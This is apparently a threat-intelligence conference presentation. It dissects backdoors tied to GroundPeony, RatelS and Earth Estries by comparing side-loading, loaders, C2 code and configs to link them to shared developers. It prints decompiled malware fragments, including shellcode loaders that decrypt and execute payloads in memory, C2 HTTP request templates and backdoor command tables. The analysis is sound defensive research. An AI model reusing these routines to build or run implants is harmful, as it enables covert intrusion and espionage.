The Secret Life of RATs: connecting the dots by dissecting multiple backdoors

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Three Possible Related Incidents (Actors)

- GroundPeony
  - Taiwan, Hong Kong, Korea, Nepal, India
  - Government agencies, educational and research institutions, telecommunications carriers
- RatelS
  - APT for organizations in Japan
- Earth Estries (FamousSparrow)
  - Philippines, Taiwan, Malaysia, South Africa, German and U.S.A. Government agencies and technology industry organisations.



https://www.lac.co.jp/lacwatch/report/20230914_003513.html

https://www.lac.co.jp/lacwatch/report/20230914_003513.html

https://www.trendmicro.com/ja_jp/research/23/j/earth-estries-targets-government-tech-for-cyberespionage.html

> whoami

Shota Nakajima

- He is engaged in malware analysis, incident response work, and threat research at Cyber Defense Institute, Inc.
- Has presented at JSAC2018~2024, domestic and international conferences.
- He has conducted workshops at Security Camp and JSAC.

Kawakami Ryonosuke

- He is engaged in malware analysis, incident response work, and threat research at Cyber Defense Institute, Inc.
- Hoby/Interest: Reverse Engineering and Implementing attacking techniques.
- This is his first appearance at JSAC.

Hara Hiroaki

- He focuses on threat intelligence research in the Asia Pacific region at Trend Micro Inc.
- He specializes in threat hunting, incident response, malware analysis, and targeted attack research.
- He has presented at JSAC 2021/2022 and HITCON 2022.

Overview


1st Stage
(shellcode loader)
2nd Stage
(in-memory PE loader)
Payload
DLL
Decrypt by RC4 with
hardcoded key
DLL
Decrypt by
Custom Alg
BIN
Mofu Loader
micDown
use
GroundPeony
RatelS
use
Ratel Master
SlyMongo
DLL
Decrypt by RC4 with
key embedded in
encrypted payload
BIN
Dracu Loader
HemiGate
use
Earth Estries
PlugX

micDown(GroundPeony)

- Created in ProgramData¥mic¥
  - mic.exe
    - legitimate file used for side-load
- version.dll
    - DLL that decrypts and reads mic.doc executed using side-load
- mic.doc
  - Encoded Mofu Loader
  - Decrypts and executes the micDown of the encoded payload
- mic.ver
  - Config file in mic.doc



HemiGate(Earth Estries)

- Created in ProgramData¥WinDrive¥
  - taskhask.exe
    - legitimate file used for side-load
- K7AVWScn.dll
    - DLL that decrypts and reads taskhask.doc executed using side-load
- taskhask.doc
  - Encrypted Dracu Loader
  - Decrypt and execute the internalized second payload HemiGate
- taskhask.dat
  - Encrypted taskhask.doc config file.



RatelS

- msbtc.exe
  - legitimate file used for Side-load
- VERSION.dll
  - Executed via Side-Load
  - Decrypt msbtc.dat
- msbtc.dat
  - Encoded Mofu Loader
  - Decrypt and execute the RatelS of the encapsulated payload
- msbtc.cfg
  - RatelS config file



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micDown vs RatelS

DLL Side-Loading

- Both use the same legitimate application, but different hash
  - notiu.exe
  - OSS notification application
- Both implement decryption routine in VerQueryValueW

mic.exe

msbtc.exe

property	value
footprint > sha256	B091FA6981BB8725E1691AA3E7A7650287489A26F5A556C19C5339F40050C949
location	.rsrc:0x0003B160
file-type	executable
language	English-US
code-page	Unicode UTF-16, little endian
Comments	This free, open source utility lets you display a yellow pop-up balloon in the fro...
CompanyName	Paralint.com
FileDescription	Notification
FileVersion	1.7
InternalName	notifu
LegalCopyright	http://www.paralint.com/projects/notifu/
LegalTrademarks	BSD-3-Clause license, run with /l for licence text
OriginalFilename	**notifu.exe**
ProductName	Notifu
ProductVersion	1.7

GroundPeony 1st Stage Loader

Name	Address	Ordinal
GetFileVersionInfoSizeW	10001000	1
GetFileVersionInfoW	10001000	2
VerQueryValueW	10001010	3
DllEntryPoint	10001140	[main entry]

RatelS 1st Stage Loader

Name	Address	Ordinal
GetFileVersionInfoSizeW	00000001800020F0	1
GetFileVersionInfoW	00000001800020F0	2
VerQueryValueW	0000000180002100	3
DllEntryPoint	0000000180005AE0	[main entry]

GroundPeony vs Ratel Master

- 1st Stage: Same legitimate application used for DLL Side-Loading
- 2nd Stage: Shellcode using the same algorithm to decrypt the payload
- API Hashing algorithm and API used by Shellcode are the same



DLL Side-Loading

- Functions performed by Side-Load
  - VerQueryValueW
- No code-level similarity between VerQueryValueW

GroundPeony 1st Stage Loader

```
BOOL __stdcall VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen)
{
  CHAR v4; // al
  unsigned int v5; // ecx
  unsigned int v6; // kr00_4
  HANDLE FileA; // esi
  void *v8; // edi
  DWORD i; // eax
  DWORD NumberOfBytesRead; // [esp+0h] [ebp-10Ch] BYREF
  CHAR Filename[2]; // [esp+4h] [ebp-108h] BYREF
  char v13[258]; // [esp+6h] [ebp-106h]

  sub_10001150(Filename, 0, 260);
  GetModuleFileNameA(0, Filename, 0x104u);
  v5 = &Filename[strlen(Filename) + 1] - &Filename[1] - 3;
  if ( v5 >= 0x104 )
  {
    sub_100012A0();
    JUMPOUT(0x10001132);
  }
  Filename[v5] = v4;
  v6 = strlen(Filename);
  *(_WORD *)&Filename[v6] = 28516;
  v13[v6] = 99;
  FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0x80u, 0);
  v8 = VirtualAlloc(0, 0x14000u, 0x3000u, 0x40u);
  ReadFile(FileA, v8, 0x14000u, &NumberOfBytesRead, 0);
  CloseHandle(FileA);
  for ( i = 0; i < NumberOfBytesRead; ++i )
    *((_BYTE *)v8 + i) = ((*((_BYTE *)v8 + i) - 95) ^ 0x61) + 95;
  return ((int (*)(void))v8)();
}
```

RatelS 1st Stage Loader

```
BOOL __stdcall __noreturn VerQueryValueW(LPCVOID pBlock, LPCWSTR
{
  sub_180001F20();
}
```

```
void __noreturn sub_180001F20()
{
  __int64 v0; // rax
  char *v1; // rdx
  __int64 v2; // rax
  int v3; // esi
  void (*v4)(void); // rdi
  char v6[32]; // [rsp+30h] [rbp-258h] BYREF
  _QWORD v7[34]; // [rsp+50h] [rbp-238h] BYREF
  char Filename[272]; // [rsp+160h] [rbp-128h] BYREF

  memset(Filename, 0, 0x104ui64);
  GetModuleFileNameA(0i64, Filename, 0x104u);
  v0 = -1i64;
  do
    ++v0;
  while ( Filename[v0] );
  v1 = v6 + v0 + 381;
  *(_WORD *)v1 = 24932;
  v1[2] = 116;
  sub_1800020E0(v7);
  sub_180002F80(v7, Filename);
  v2 = sub_180003230(v7, v6);
  v3 = std::fpos<int>::operator __int64(v2);
  v4 = (void (*)(void))VirtualAlloc(0i64, v3, 0x3000u, 0x40u);
  sub_1800032E0((__int64)v7);
  sub_180003410(v7, (__int64)v4, v3);
  sub_180002F40((__int64)v7);
  rc4(v4, v3);
  v4();
  ExitProcess(0);
}
```

2nd Stage PE Loader (Mofu Loader)

- API Hashing algorithm (ror 12) and the API used are the same

GroundPeony 2nd Stage Loader

```
seg000:0000ED6B loc_ED6B:                               ; CODE XREF: sub_ED0B+6D↓j
seg000:0000ED6B                 movsx   edx, dl
seg000:0000ED6E                 ror     ebx, 0Ch
seg000:0000ED71                 add     ebx, edx
seg000:0000ED73                 inc     esi
seg000:0000ED74                 mov     dl, [esi]
seg000:0000ED76                 test    dl, dl
seg000:0000ED78                 jnz     short loc_ED6B
seg000:0000ED7A                 cmp     ebx, 1DA0A3A1h  ; RtlDecompressBuffer
seg000:0000ED80                 jz      short loc_EDE9
seg000:0000ED82                 cmp     ebx, 4717A7D0h  ; LoadLibraryA
seg000:0000ED88                 jz      short loc_EDD8
seg000:0000ED8A                 cmp     ebx, 8F592CA3h  ; VirtutalAlloc
seg000:0000ED90                 jz      short loc_EDC6
seg000:0000ED92                 cmp     ebx, 0B01FF0A0h ; GetProcAddress
seg000:0000ED98                 jz      short loc_EDB4
seg000:0000ED9A                 cmp     ebx, 0D7656A4Fh ; memcpy
seg000:0000EDA0                 jnz     short loc_EDFF
seg000:0000EDA2                 movzx   edx, word ptr [ecx+edi*2]
seg000:0000EDA6                 mov     edx, [eax+edx*4]
seg000:0000EDA9                 add     edx, [ebp+arg_0]
seg000:0000EDAC                 mov     esi, [ebp+arg_4]
seg000:0000EDAF                 mov     [esi+0Ch], edx
seg000:0000EDB2                 jmp     short loc_EDFF
```

RatelS 2nd Stage Loader

```
CODE:000A9F2F loc_A9F2F:                                ; CODE XREF: CODE:000A9F40↓j
CODE:000A9F2F                   ror     edx, 0Ch
CODE:000A9F32                   movsx   eax, al
CODE:000A9F35                   dec     ecx
CODE:000A9F36                   inc     ebx
CODE:000A9F38                   add     edx, eax
CODE:000A9F3A                   inc     ecx
CODE:000A9F3B                   mov     al, [ebx]
CODE:000A9F3D                   inc     ecx
CODE:000A9F3E                   cmp     al, bh
CODE:000A9F40                   jnz     short loc_A9F2F
CODE:000A9F42                   cmp     edx, 1DA0A3A1h  ; RtlDecompressBuffe
CODE:000A9F48                   jz      short loc_A9FAC
CODE:000A9F4A                   cmp     edx, 4717A7D0h  ; LoadLibraryA
CODE:000A9F50                   jz      short loc_A9F97
CODE:000A9F52                   cmp     edx, 8F592CA3h  ; VirtutalAlloc
CODE:000A9F58                   jz      short loc_A9F8B
CODE:000A9F5A                   cmp     edx, 0B01FF0A0h ; GetProcAddress
CODE:000A9F60                   jz      short loc_A9F77
CODE:000A9F62                   cmp     edx, 0D7656A4Fh ; memcpy
CODE:000A9F68                   jnz     short loc_A9FBC
CODE:000A9F6A                   inc     ecx
CODE:000A9F6B                   movzx   eax, word ptr [edx]
CODE:000A9F6E                   inc     esp
CODE:000A9F6F                   mov     esi, [edi+eax*4]
CODE:000A9F72                   dec     esp
CODE:000A9F73                   add     esi, ecx
CODE:000A9F75                   jmp     short loc_A9FBC
CODE:000A9F77 ;
```

2nd Stage PE Loader (Mofu Loader)

- Custom XOR algorithm is the same
  - sub + xor + add

GroundPeony 2nd Stage Loader

```
eg000:0000EB49
eg000:0000EB49 loc_EB49:                               ; CODE XREF: sub_EB05+57↓j
eg000:0000EB49                  mov     dl, [esi+eax+0Ch]
eg000:0000EB4D                  inc     ecx
eg000:0000EB4E                  sub     dl, cl
eg000:0000EB50                  xor     dl, cl
eg000:0000EB52                  add     dl, cl
eg000:0000EB54                  mov     [esi+eax+0Ch], dl
eg000:0000EB58                  inc     eax
eg000:0000EB59                  cmp     eax, [esi+8]
eg000:0000EB5C                  jb      short loc_EB49
eg000:0000EB5E
eg000:0000EB5E loc_EB5E:                               ; CODE XREF: sub_EB05+42↑j
```

RatelS 2nd Stage Loader

```
CODE:000A9FF6 loc_A9FF6:                               ; CODE XREF: CODE:000AA00C↓j
CODE:000A9FF6                   mov     al, [edx]
CODE:000A9FF8                   inc     ecx
CODE:000A9FFA                   inc     ecx
CODE:000A9FFB                   inc     eax
CODE:000A9FFD                   sub     al, cl
CODE:000A9FFF                   xor     al, cl
CODE:000AA001                   add     al, cl
CODE:000AA003                   mov     [edx], al
CODE:000AA005                   dec     eax
CODE:000AA006                   inc     edx
CODE:000AA008                   inc     esp
CODE:000AA009                   cmp     eax, [ebx+8]
CODE:000AA00C                   jb      short loc_A9FF6
```

Payload

- Magic number in PE header of the 2nd payload decoded by custom XOR + LZNT1 is removed

GroundPeony payload



RatelS payload



RatelS x86 Version

- As reported by LAC, the RatelS builder, but it only supports the build for x64 version, even though the builder contains both x86/x64 components

Strings related to the x86 version module included in the builder.

```
a1[2] = &CreatorDialog::`vftable';
v31 = (volatile signed __int32 *)sub_1408E9FD0("New Attacker", 12i64);
sub_14037DFD0(a1, &v31);
if ( !*v31 || *v31 != -1 && _InterlockedExchangeAdd(v31, 0xFFFFFFFF) == 1 )
  sub_1408E2960(v31, 2i64, 8i64);
v3 = operator new(0x20ui64);
v4 = sub_140363B20(v3, a1);
v5 = (unsigned int)operator new(0x98ui64);
v6 = sub_14010D9C0(v5);
a1[6] = v6;
sub_140364220(v4, v6, 0i64, 0i64);
*(_QWORD *)&v24 = operator new(0x30ui64);
v21 = (volatile signed __int32 *)sub_1408E9FD0("Save x86", 8i64);
a1[9] = sub_1403A09D0(v24, &v21, 0i64);
if ( !*v21 || *v21 != -1 && _InterlockedExchangeAdd(v21, 0xFFFFFFFF) == 1 )
  sub_1408E2960(v21, 2i64, 8i64);
v7 = operator new(0x30ui64);
*(_QWORD *)&v24 = v7;
v22 = (volatile signed __int32 *)sub_1408E9FD0("Save x64", 8i64);
a1[10] = sub_1403A09D0(v7, &v22, 0i64);
if ( !*v22 || *v22 != -1 && _InterlockedExchangeAdd(v22, 0xFFFFFFFF) == 1 )
  sub_1408E2960(v22, 2i64, 8i64);
v8 = operator new(0x20ui64);
v9 = sub_140363AE0(v8);
sub_140363EF0(v4, v9, 0i64);
v10 = operator new(0x30ui64);
*(_QWORD *)&v24 = v10;
v23 = (volatile signed __int32 *)sub_1408E9FD0("Exe Mode", 8i64);
a1[7] = sub_1403CC4F0(v10, &v23, 0i64);
if ( !*v23 || *v23 != -1 && _InterlockedExchangeAdd(v23, 0xFFFFFFFF) == 1 )
  sub_1408E2960(v23, 2i64, 8i64);
v11 = operator new(0x30ui64);
*(_QWORD *)&v24 = v11;
*(_QWORD *)&v25 = sub_1408E9FD0("Shellcode Mode", 14i64);
a1[8] = sub_1403CC4F0(v11, &v25, 0i64);
```

Builder GUI only has button Save x64.

Mofu Loader in VT

- Shellcode loader similar to the loader used in RatelS
- 2nd Stage used Mofu Loader but with different payload



SlyMongo

- Backdoor using the Mongoose framework, a networking library for embedded applications written in C/C++.

```
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  unsigned int TickCount; // eax
  __int64 v5; // rbx
  struct WSAData WSAData; // [rsp+30h] [rbp-1B8h] BYREF

  CreateMutexA(0i64, 0, "BC00");
  aa_execute_arg1_func(target_fnc, aa_parce_command, 16);
  aa_execute_arg1_func(sub_7FF68951C4B0, aa_wrap_check_victim_env, 15);
  TickCount = GetTickCount();
  srand(TickCount);
  g_rand_value = rand();
  v5 = 6i64;
  do
  {
    CreateThread(0i64, 0i64, aa_unk_thread_func, 0i64, 0, 0i64);
    --v5;
  }
  while ( v5 );
  WSAStartup(0x202u, &WSAData);
  memset(&mgr, 0, 0x38ui64);
  mgr.dns4.url = "udp://8.8.8.8:53";
  mgr.dnstimeout = 3000;
  mgr.dns6.url = "udp://[2001:4860:4860::8888]:53";
  CreateThread(0i64, 0i64, aa_http_connect, 0i64, 0, 0i64);
  while ( 1 )
    mg_mgr_pool(&mgr, 1);
}
```

```
  {
    mg_error(c, "DNS server URL is NULL. Call mg_mgr_init()");
  }
  if ( dnsc->c )
  {
    d = j__calloc_base(1ui64, 0x18ui64);
    if ( d )
    {
      if ( Block )
        v11 = WORD2(Block->expire) + 1;
      else
        v11 = 1;
      WORD2(d->expire) = v11;
      d->next = Block;
      Block = d;
      TickCount = GetTickCount();
      d->c = c;
      LODWORD(d->expire) = ms + TickCount;
      LODWORD(c->fn_data) |= 8u;
      mg_dns_send(dnsc->c, name, WORD2(d->expire), 0);
    }
    else
    {
      mg_error(c, "resolve OOM");
    }
  }
  else
  {
    mg_error(c, "resolver");
  }
}
```

SlyMongoコマンド一覧

Command ID	Description
0x1	-
0x2	-
0x3	-
0x4	-
0x5	-
0x6	-
0x7	-
0x8	-
0x9	-
0xA	Enumerate drive information
0xB	-
0xC	-
0xD	Writing to file
0xE	Getting file information
0xF	Network communication related settings

Command ID	機能概要
0x10	Reading file
0x11	Writing to file
0x12	Creating a directory
0x13	Rename
0x14	Deleting files
0x15	Launch of specified file (ShellExecuteA)
0x16	Enumerate files
0x17	Creating a directory
0x18	Enumerating processes
0x19	Granting SeShutdownPrivilege
0x1A	Setting flags
0x1B	Granting SeShutdownPrivilege
0x1C	Terminating processes
0x1D	-
0x1E	-
0x1F	Reading file
0x20	File downloads

02

HemiGate vs RatelS

HemiGate vs. RatelS

- 1st Stage: No similarities in codes, but similar techniques
- 2nd Stage: different in-memory PE Loader (Dracu Loader vs Mofu Loader)
- Payload: Similarities at the implementation level, such as code and configurations, are recognized.



1st Stage main routine

- No similarities in the implementation of functions performed, but similarities at the TTP level, such as use of RC4 and file naming conventions for encrypted payloads

HemiGate 1st Stage

Decrypt with RC4 using the first 0x10 of the encrypted file as the key

```
int K7ScanUI_RunScanner()
{
  unsigned int v0; // kr00_4
  HANDLE FileA; // esi
  __int128 *v2; // edi
  int v3; // ebx
  int i; // esi
  unsigned __int8 v5; // dl
  int v6; // ecx
  signed int v7; // ebx
  int v8; // esi
  int v9; // edi
  unsigned __int8 v10; // dl
  __int128 *v11; // ecx
  __int128 *v13; // [esp+0h] [ebp-718h]
  signed int v14; // [esp+4h] [ebp-714h]
  int v15; // [esp+8h] [ebp-710h]
  DWORD NumberOfBytesRead; // [esp+Ch] [ebp-70Ch] BYREF
  int v17[256]; // [esp+10h] [ebp-708h] BYREF
  __int128 v18[16]; // [esp+410h] [ebp-308h] BYREF
  CHAR Filename[260]; // [esp+510h] [ebp-208h] BYREF
  char v20[256]; // [esp+614h] [ebp-104h] BYREF

  memset(Filename, 0, sizeof(Filename));
  GetModuleFileNameA(0, Filename, 0x104u);
  v0 = strlen(Filename);
  *(_WORD *)((char *)&v18[15] + v0 + 13) = 28516;
  *((_BYTE *)&v18[15] + v0 + 15) = 99;
  FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0x80u, 0);
  v2 = (__int128 *)VirtualAlloc(0, 0x100000u, 0x1000u, 0x40u);
  ReadFile(FileA, v2, 0x100000u, &NumberOfBytesRead, 0);
  CloseHandle(FileA);
  v13 = v2 + 1;
  v14 = NumberOfBytesRead - 16;
  memset(v20, 0, sizeof(v20));
  v3 = 0;
  v15 = 0;
  memset(v17, 0, sizeof(v17));
  memset(&v18[1], 0, 0xF0u);
  v18[0] = *v2;
  do
  {
    v20[v3] = v3;
    v17[v3] = *((unsigned __int8 *)v18 + (v3 & 0xF));
    ++v3;
  }
  while ( v3 < 256 );
  for ( i = 0; i < 256; ++i )
  {
    v5 = v20[i];
    v6 = (v15 + v5 + v17[i]) % 256;
    v20[i] = v20[v6];
    v15 = v6;
    v20[v6] = v5;
  }
  v7 = 0;
  v8 = 0;
  v9 = 0;
  if ( v14 <= 0 )
  {
    v11 = v13;
  }
  else
  {
    do
    {
      v8 = (v8 + 1) % 256;
      v10 = v20[v8];
      v9 = (v10 + v9) % 256;
      v20[v8] = v20[v9];
      v20[v9] = v10;
      v11 = v13;
      *((_BYTE *)v13 + v7++) ^= v20[(unsigned __int8)(v10 + v20[v8])];
    }
    while ( v7 < v14 );
  }
  return ((int (__cdecl *)(__int128 *))v11)(v11 + 80);
}
```

RateIS 1st Stage

Decrypt encrypted files with RC4 using hardcoded keys

```
void __noreturn sub_180001F20()
{
  __int64 v0; // rax
  char *v1; // rdx
  __int64 v2; // rax
  int v3; // esi
  void (*v4)(void); // rdi
  char v6[32]; // [rsp+30h] [rbp-258h] BYREF
  _QWORD v7[34]; // [rsp+50h] [rbp-238h] BYREF
  char Filename[272]; // [rsp+160h] [rbp-128h] BYREF

  memset(Filename, 0, 0x104ui64);
  GetModuleFileNameA(0i64, Filename, 0x104u);
  v0 = -1i64;
  do
    ++v0;
  while ( Filename[v0] );
  v1 = v6 + v0 + 381;
  *(_WORD *)v1 = 24932;
  v1[2] = 116;
  sub_1800020E0(v7);
  sub_180002F80(v7, Filename);
  v2 = sub_180003230(v7, v6);
  v3 = std::fpos<int>::operator __int64(v2);
  v4 = (void (*)(void))VirtualAlloc(0i64, v3, 0x3000u, 0x40u);
  sub_1800032E0((__int64)v7);
  sub_180003410(v7, (__int64)v4, v3);
  sub_180002F40((__int64)v7);
  rc4(v4, v3);
  v4();
  ExitProcess(0);
}
```

HemiGate 2nd Stage

- Simple in-memory PE Loader called Dracu Loader
  - PE is appended after shellcode



HemiGate vs. RatelS

- Several code-level similarities and similarities in the communication implementation part

HTTP request headers are similar
(HemiGate / RatelS)

```
a2 = wsprintfA(
       a2,
       "POST /index.asp?id=432 HTTP/1.1\r\n"
       "Host: %s\r\n"
       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;)\r\n"
       "Accept: */*\r\n"
       "Content-Length: %d\r\n"
       "Accept-Language: en-US\r\n"
       "Connection: Keep-Alive\r\n"
       "Cache-Control: no-cache\r\n"
       "\r\n",
       (v2 + 164),
       v3 + 8);
```

```
v5 = sub_4426D0(a2, 2048, "POST /login.asp?id=44 HTTP/1.1\r\n");
v6 = sub_4426D0(a2 + v5, 2048, "Host: %s\r\n", (this + 24)) + v5;
v7 = sub_4426D0(
       a2 + v6,
       2048,
       "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.1"
       "40 Safari/537.36 Edge/17.17134\r\n")
   + v6;
v8 = sub_4426D0(a2 + v7, 2048, "Accept: */*\r\n") + v7;
v9 = sub_4426D0(a2 + v8, 2048, "Content-Length: %d\r\n", Size + 8) + v8;
v10 = sub_4426D0(a2 + v9, 2048, "Content-Type: text/html\r\n") + v9;
v11 = sub_4426D0(a2 + v10, 2048, "Connection: Keep-Alive\r\n") + v10;
v12 = sub_4426D0(a2 + v11, 2048, "Cache: no-cache\r\n") + v11;
v13 = sub_4426D0(a2 + v12, 2048, "Accept-Language: en-US\r\n") + v12;
v14 = sub_4426D0(a2 + v13, 2048, "\r\n") + v13;
```

HemiGate vs. RatelS

- Similarities in code-level and the C&C communication implementation

Code to get proxy information matches
(HemiGate / RatelS)

```
LibraryA = LoadLibraryA("WinHTTP.dll");
WinHttpGetIEProxyConfigForCurrentUser = GetProcAddress(LibraryA, "WinHttpGetIEProxyConfigForCurrentUser");
if ( !WinHttpGetIEProxyConfigForCurrentUser )
  return 0;
*hMem = 0i64;
if ( !WinHttpGetIEProxyConfigForCurrentUser(hMem) )
  return 0;
if ( !hMem[2] )
{
  if ( hMem[1] )
  {
    GlobalFree(hMem[1]);
    if ( hMem[2] )
      GlobalFree(hMem[2]);
  }
  if ( hMem[3] )
    GlobalFree(hMem[3]);
  return 0;
}
memset(MultiByteStr, 0, 0x104u);
WideCharToMultiByte(0, 0, hMem[2], -1, MultiByteStr, 260, 0, 0);
if ( hMem[1] )
  GlobalFree(hMem[1]);
if ( hMem[2] )
  GlobalFree(hMem[2]);
if ( hMem[3] )
  GlobalFree(hMem[3]);
if ( !strlen(MultiByteStr) )
  return 0;
v6 = strchr(MultiByteStr, 58);
if ( !v6 )
  return 0;
*v6 = 0;
v7 = StrToIntA(v6 + 1);
return sub_409720(a2, a1, MultiByteStr, v7, 0, 0);
```

```
LibraryA = LoadLibraryA("WinHTTP.dll");
WinHttpGetIEProxyConfigForCurrentUser = GetProcAddress(LibraryA, "WinHttpGetIEProxyConfigForCurrentUser");
if ( !WinHttpGetIEProxyConfigForCurrentUser )
  return 1;
*hMem = 0i64;
if ( !WinHttpGetIEProxyConfigForCurrentUser(hMem) )
  return 1;
if ( !hMem[2] )
{
  if ( hMem[1] )
  {
    GlobalFree(hMem[1]);
    if ( hMem[2] )
      GlobalFree(hMem[2]);
  }
  if ( hMem[3] )
    GlobalFree(hMem[3]);
  return 1;
}
memset(MultiByteStr, 0, sizeof(MultiByteStr));
WideCharToMultiByte(0, 0, hMem[2], -1, MultiByteStr, 260, 0, 0);
if ( hMem[1] )
  GlobalFree(hMem[1]);
if ( hMem[2] )
  GlobalFree(hMem[2]);
if ( hMem[3] )
  GlobalFree(hMem[3]);
if ( !strlen(MultiByteStr) )
  return 1;
v7 = strchr(MultiByteStr, 58);
if ( !v7 )
  return 1;
*v7 = 0;
*a2 = sub_47671D((v7 + 1));
wsprintfA(a1, MultiByteStr);
return 0;
```

HemiGate vs. RatelS

- Similarities in code-level and the C&C communication implementation

The code in the authentication section matches.
(HemiGate / RatelS)



```
v8 = 0;
v22 = 0;
LibraryA = LoadLibraryA("Secur32.dll");
InitSecurityInterfaceA = GetProcAddress(LibraryA, "InitSecurityInterfaceA");
v11 = InitSecurityInterfaceA();
v19 = v11;
if ( !a1 )
{
  v22 = 1;
  if ( a7 )
  {
    v25 = 1;
    v23[0] = a7;
    v23[2] = 0;
    v23[4] = a8;
    v23[1] = strlen(a7);
    v23[3] = 0;
    if ( a8 )
      v24 = strlen(a8);
    else
      v24 = 0;
    v8 = v23;
  }
  if ( v11->AcquireCredentialsHandleA(0, "Negotiate", 2u, 0, v8, 0, 0, a2, &v30) < 0 )
    return 0;
  v11 = v19;
}
v29[2] = v28;
v29[0] = 0;
v28[0] = *a5;
v29[1] = 1;
v28[1] = 2;
v28[2] = a4;
if ( !v22 )
{
  v26[0] = 0;
  v26[2] = v27;
  v27[0] = a3;
  v26[1] = 1;
  v27[1] = 2;
  v27[2] = a1;
}
v12 = v26;
if ( v22 )
  v12 = 0;
v18 = v12;
v13 = 0;
if ( !v22 )
  v13 = (a2 + 8);
v14 = v11->InitializeSecurityContextA(a2, v13, *(a2 + 28), 0, 0, 16u, v18, 0, (a2 + 8), v29, &v31, &v30);
v15 = v14;
if ( v14 < 0 )
  return 0;
if ( v14 == 590611 || v14 == 590612 )
{
  CompleteAuthToken = v19->CompleteAuthToken;
  if ( !CompleteAuthToken )
    return 0;
  v15 = CompleteAuthToken(a2 + 8, v29);
  if ( v15 < 0 )
    return 0;
}
```



```
v8 = 0;
v22 = 0;
LibraryA = LoadLibraryA("Secur32.dll");
InitSecurityInterfaceA = GetProcAddress(LibraryA, "InitSecurityInterfaceA");
v11 = InitSecurityInterfaceA();
v20 = v11;
if ( a1 )
{
  v12 = a2;
}
else
{
  v22 = 1;
  if ( a7 )
  {
    v26 = 1;
    v24[0] = a7;
    v24[2] = 0;
    v24[4] = a8;
    v24[1] = strlen(a7);
    v24[3] = 0;
    if ( a8 )
      v25 = strlen(a8);
    else
      v25 = 0;
    v8 = v24;
  }
  v12 = a2;
  if ( v11->AcquireCredentialsHandleA(0, "Negotiate", 2u, 0, v8, 0, 0, a2, &v31) < 0 )
    return 0;
  v11 = v20;
}
v30[2] = v29;
v30[0] = 0;
v29[0] = *a5;
v30[1] = 1;
v29[1] = 2;
v29[2] = a4;
if ( !v22 )
{
  v27[0] = 0;
  v27[2] = v28;
  v28[0] = a3;
  v27[1] = 1;
  v28[1] = 2;
  v28[2] = a1;
}
v13 = v27;
if ( v22 )
  v13 = 0;
v19 = v13;
v14 = 0;
if ( !v22 )
  v14 = v13 + 1;
v15 = v11->InitializeSecurityContextA(v12, v14, v12[3].dwUpper, 0, 0, 16u, v19, 0, &v12[1], v30, &v32, &v31);
v16 = v15;
if ( v15 < 0 )
  return 0;
if ( v15 == 590611 || v15 == 590612 )
{
  CompleteAuthToken = v20->CompleteAuthToken;
  if ( !CompleteAuthToken )
    return 0;
  v16 = CompleteAuthToken(v12 + 1, v30);
  if ( v16 < 0 )
    return 0;
}
*a5 = v29[0];
```

HemiGate vs. RatelS

- Implementation does not match, but coding-style looks similar

Keylog output path and file name are similar
(HemiGate / RatelS)

```
ExpandEnvironmentStringsA("%ALLUSERSPROFILE%\\WinDrive", Dst, 260);
wsprintfA(FileName, "%s\\fm", Dst);
```

```
ExpandEnvironmentStringsW(L"%ALLUSERSPROFILE%\\MSB", Dst, 0x104u);
sub_43FF50(lpFileName, Dst);
sub_43FE40(lpFileName, L"\\kl", 6u);
```

HemiGate vs. RatelS

- Similarities in the structure of the config
  - Same size of one field in config
  - Same format: [Flag][Port][C2 Address]
  - Interval numbers at the end
  - Similar size and configuration of the whole config.

HemiGate

Port



RatelS

Port



RatelS vs. PlugX

- As already reported by LAC, there are some implementation similarities between RatelS and PlugX

Module Mapping
(RatelS / PlugX)

```
CurrentProcessId = GetCurrentProcessId();
wsprintfW(Name, L"PL[%x]", CurrentProcessId);
result = CreateFileMappingW(0xFFFFFFFF, 0, 4u, 0, 0x54u, Name);
if ( result )
{
  result = MapViewOfFile(result, 2u, 0, 0, 0);
  if ( result )
  {
    *result = sub_44F660;
    result[1] = sub_44F720;
    result[2] = sub_44F410;
    result[3] = sub_44F420;
    result[4] = sub_44F440;
    result[5] = sub_44F460;
    result[6] = sub_44F480;
    result[7] = sub_44F4A0;
    result[8] = sub_44F4C0;
    result[9] = sub_44F4D0;
    result[10] = sub_44F500;
    result[11] = sub_44F540;
    result[12] = sub_44F5D0;
    result[13] = sub_44F5F0;
    result[14] = sub_44F3F0;
    result[15] = sub_44F4E0;
    result[16] = sub_44F380;
    result[17] = sub_44F3B0;
    result[18] = sub_44F3D0;
    result[19] = sub_44F1C0;
    result[20] = sub_44F360;
    VirtualProtect(result, 0x54u, 2u, &flOldProtect);
```

```
CurrentProcessId = GetCurrentProcessId();
wsprintfW(Name, L"PI[%8.8X]", CurrentProcessId);
FileMappingW = CreateFileMappingW((HANDLE)0xFFFFFFFF, 0, 4u, 0, 0x44u, Name);
if ( !FileMappingW )
  return GetLastError();
v4 = MapViewOfFile(FileMappingW, 2u, 0, 0, 0);
if ( !v4 )
  return GetLastError();
*v4 = sub_10007070;
v4[1] = sub_10007160;
v4[2] = sub_10007290;
v4[3] = sub_10007250;
v4[4] = sub_10007270;
v4[5] = sub_10007380;
v4[6] = sub_10007390;
v4[7] = sub_100073B0;
v4[8] = sub_100073C0;
v4[9] = sub_100073D0;
v4[10] = sub_100073F0;
v4[11] = sub_10007450;
v4[12] = sub_10007470;
v4[13] = sub_10007490;
v4[14] = sub_100074B0;
v4[15] = sub_10007400;
v4[16] = sub_10007410;
VirtualProtect(v4, 0x44u, 2u, &flOldProtect);
```

HemiGate vs. RatelS vs. PlugX

- HemiGate and RatelS have matches at the implementation-level and similarities at the malware coding-style-level
- Implementation-level matches were also reported between PlugX and RatelS
- This suggests that these RATs might possibly be related to the same or collaborating developers and share source code

Family	Similarity of communication	Similarity of Keylogging	Configuration Structure	Module Implementation	Module Mapping
HemiGate	○	○	○	○	-
RatelS	○	○	○	○	○
PlugX	-	-	-	○	○

03

Other Findings

HemiGate and PlugX on the same server

- We confirmed that HemiGate and PlugX were hosted on the server
- In addition, we confirmed that the HemiGate C&C server matches the domain used by GroundPeony



Suspicious VT account uploading Mofu Loader

